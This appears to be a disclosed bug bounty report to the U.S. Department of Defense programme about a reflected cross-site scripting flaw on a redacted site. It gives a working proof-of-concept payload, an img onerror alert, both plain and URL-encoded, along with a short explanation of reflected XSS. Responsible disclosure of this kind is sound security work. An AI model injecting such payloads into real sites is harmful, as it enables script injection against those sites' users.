U.S. Dept Of Defense · Report #1143780
xss on https://███████(█████████ parameter)
Validstatus
mediumseverity
4upvotes
29 Jul 2021disclosed
How it was found
Greetings, i've found an xss on https://████████(██████████ parameter)
link :████████.█████████████=%22/%3E%3Cimg%20src=x%20onerror=(alert)(1)%3E Payload :
"/><img src=x onerror=(alert)(1)/>
████████
best regards, frenchvlad
Impact
A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content.
System Host(s)
██████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
link :██████████████████.████████████=%22/%3E%3Cimg%20src=x%20onerror=(alert)(1)%3E